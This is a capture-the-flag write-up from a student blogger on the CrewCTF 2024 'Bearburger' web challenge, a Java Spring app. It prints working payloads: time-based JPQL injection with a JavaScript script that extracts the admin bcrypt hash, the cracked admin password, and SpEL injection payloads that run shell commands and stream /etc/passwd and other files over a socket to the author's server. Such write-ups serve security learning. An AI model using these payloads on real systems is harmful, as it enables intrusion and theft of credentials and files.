CrewCTF 2024 Writeup Bearburger

The challenge Bearburger presents a web application where we can buy hamburgers and other foods by selecting different categories. In the provided handout, there was only a single file, app.war. Initially, we didn't recognise the file type, but a quick Google search revealed that it was a compiled Java Spring application. We then used IntelliJ IDEA to decompile it.

We began exploring the backend code to identify anything unusual. Early in our discoveries, we found two key pieces of code that proved to be crucial for finding the flag. The first key finding was in the UserServiceImpl::fetchAllUsers method. We flagged the following code because it seemed like an odd use of the SpelExpressionParser.

List<User> result = this.userRepository.findAll();
ExpressionParser userParser = new SpelExpressionParser();
Iterator var3 = result.iterator();

while(var3.hasNext()) {
    User user = (User)var3.next();

    try {
        Expression expression = userParser.parseExpression(user.getUsername());
        String var6 = (String)expression.getValue(String.class);
    } catch (Exception var7) {
    }
}

We were not entirely sure what this code was doing, but it appeared out of place. After some research, we discovered that it allowed the execution of almost arbitrary Java code, although we couldn't see the output because the return value from parseExpression was discarded. Our initial plan was to test it practically, only to realize that access to this route was restricted to admin privileges.

Gaining Admin Privileges

We continued our search for other oddities in the code. Surprisingly, it didn't take long. About five minutes after our first discovery, we found what appeared to be a SQL injection vulnerability in FoodServiceImpl::findByCategory. It looked like we could manipulate the query to our advantage if we could control the sorting parameter.

String jpqlQuery = "SELECT f FROM ... ORDER BY " + sorting + " DESC";

We discovered that the sorting parameter was a path parameter in the URL /api/v1/fetch-foods-by-category/:category/:sorting. However, we realized it was a JPQL injection (JPQLI) rather than a SQL injection (SQLI). Although the difference is subtle, it was enough to make crafting a working query quite frustrating. Additionally, there were security mechanisms in place that prevented the use of both " and ;. Fortunately, we could still use ' and parentheses. We experimented with various queries, but none seemed to work until I stumbled upon this one.

(CASE WHEN (2173=2173) THEN SLEEP(1) ELSE 2173 END)

This got me thinking about using a time-based attack to exfiltrate data. I realized it would take some time and be somewhat challenging to develop, but it was worth pursuing. The first hurdle was figuring out how to accurately exfiltrate data using SLEEP(x). After gathering a few data points, I noticed that the response time in seconds roughly followed the equation 0.1 + 7x. I tested this function for intervals from 0.1s to 1.5s, and it worked perfectly. Next, I needed to determine the payload to actually exfiltrate data. I decided that exfiltrating 4 bits of information per request would be a good middle ground. First, I crafted a query to exfiltrate one hex character from a subquery. It looked like this:

(CASE (subquery) WHEN '1' THEN SLEEP(0.1) WHEN '2' THEN SLEEP(0.2) WHEN '3' THEN SLEEP(0.3) WHEN '4' THEN SLEEP(0.4) WHEN '5' THEN SLEEP(0.5) WHEN '6' THEN SLEEP(0.6) WHEN '7' THEN SLEEP(0.7) WHEN '8' THEN SLEEP(0.8) WHEN '9' THEN SLEEP(0.9) WHEN 'a' THEN SLEEP(1) WHEN 'b' THEN SLEEP(1.1) WHEN 'c' THEN SLEEP(1.2) WHEN 'd' THEN SLEEP(1.3) WHEN 'e' THEN SLEEP(1.4) WHEN 'f' THEN SLEEP(1.5) ELSE 2173 END)

For those who don't feel like reading the entire query, I'll explain it to you - because frankly, I wouldn't either. The query assumes that the subquery will return one hex character and then sleeps for 0.1 * x, where x is the hex value obtained. This allows our script to measure the query's response time and determine the correct hex value based on that. A function to achieve this might look something like this:

const EXFIL_QUERY = Array
    .from(
        { length: 15 },
        (_, i) =>
            `WHEN '${(i + 1).toString(16)}' THEN SLEEP(${(i + 1) / 10})`,
    )
    .join(' ');

async function exfil_hex(subquery) {
    const query = `(CASE (${subquery}) ${EXFIL_QUERY} ELSE 2173 END)`;

    const start = Date.now();
    await fetch('/api/v1/fetch-foods-by-category/burger/' + encodeURIComponent(query)).then(v => v.text());

    return Math.round((Date.now() - start - 100) / 700);
}

This method successfully exfiltrates one hex character for us. Now, let's get to the juicy part: exfiltrating the admin password. We began by finding a query that retrieves the password, which was fairly straightforward. Here was our query:

SELECT password from User WHERE username = 'admin'

The challenge now was to exfiltrate a string one hex character at a time using a SQL query. While there might be more efficient methods, our approach involved extracting each character using substring operations, converting it to ASCII, then to hex, and performing substring operations again. We enhanced our script with a function that extracts a hex character at a specific index.

const exfil_char = (query, index) => exfil_hex(`substr(hex(ascii(substr((${query}), ${Math.floor(index / 2)}, 1))), ${index % 2}, 1)`);

At this point, we had already determined the password length to be 60 bytes by using the length() function in SQL. In hindsight, we could have avoided this by examining the code and realizing that the password was hashed with bcrypt. Knowing this earlier would have improved our exfiltration process, but it was a lesson learned for next time.

With the length established, the next step was to execute the query for all 120 indices (60 bytes * 2 hex characters per byte). This was particularly nerve-wracking for me, as even a slight timing error of 50ms could have required rerunning the entire query. Fortunately, the query completed in about 10 minutes and yielded a promising result. The hash we retrieved was:
$2a$10$vFWElvoCouv8LuyTzOCT8eMq4KSvvbxEPpwRdXcJvDkSmVUbmooTW

A quick run through Hashcat revealed the password: adidas. We finally gained admin rights by logging in with admin:adidas.

Exploiting the SpelExpressionParser

Next came what we considered the most frustrating part of the challenge: finding a SpEL payload to retrieve the flag. As mentioned earlier, we could execute any SpEL payload by using it as our username and then fetching all users, but we couldn't see the payload's output. We realised we needed a way to capture the data, so I set up socat on my server to receive the data from the payload.

socat TCP-LISTEN:8080,fork,reuseaddr -

Initially, we tried various payloads directly on the remote server, but without being able to see any output and given that SpEL does not accept arbitrary Java code, we faced significant challenges. Eventually, I set up a minimal testing environment where I could run SpEL payloads and view their output, including any errors.

After much effort, we finally found a payload that worked. The first successful payload I crafted looked like this:

new java.io.FileInputStream(new java.io.File("/etc/passwd")).transferTo(new java.net.Socket("<my server ip>", 8080).getOutputStream())

I was thrilled when I thought we had solved the challenge, believing it was just a matter of changing /etc/passwd to flag.txt. Unfortunately, it wasn't that simple. I tried various paths, but the flag remained elusive. Initially, I suspected there might be an issue with how we sent the data. However, after checking the file sizes at all possible locations, we realized the flag was likely named something other than "flag."

We needed a way to list the files in a directory, which seemed straightforward but proved to be quite challenging. After spending over an hour and a half on this, I came up with a workaround. I crafted a hacky solution that executes ls to list directory contents and then writes the output to a file. We could then transfer this file to our server to see which files existed.

T(java.lang.Runtime).getRuntime().exec(new String[] {"sh", "-c", "ls > /app/ls.txt"}).waitFor()

We had previously avoided using exec because we couldn't capture its output. Piping the output to a socket caused SpEL to throw an error, and since neither nc nor curl was installed, using sh to pipe data proved difficult. Eventually, we realized that with write privileges, we could redirect the output to a file. We could then use the payload we discovered earlier to transfer that file to us.

Solving the challenge

The command proved us right - we weren't crazy after all. The flag was stored inside the file some_random_secret_haha.txt. Reading that file then gave us the flag: crew{BearBurger_is_on_sale!_LINZ_IS_HERE}.

All of this hard work eventually led us to draw first blood on this challenge, and we remained the only team to solve it for over 12 hours. This achievement also played a huge role in making us the first team to solve all of the web challenges in CrewCTF 2024.

Conclusion

We learned a lot from this challenge. For my part, I realised that thoroughly reading the code before experimenting can save a lot of time and effort.

This was a really fun challenge, and we enjoyed it a lot. Thank you so much for reading my first-ever writeup.

I competed for SNHT in this competition. Liamooo and I were the ones in our team to solve the web challenges, with some aid from our coach ntomsic.

0
Subscribe to my newsletter

Read articles from Eliyah Sundström directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Eliyah Sundström
Eliyah Sundström

I am a 17 year old developer that loves to learn new things. I am also a member of the Swedish National Hacking Team (SNHT).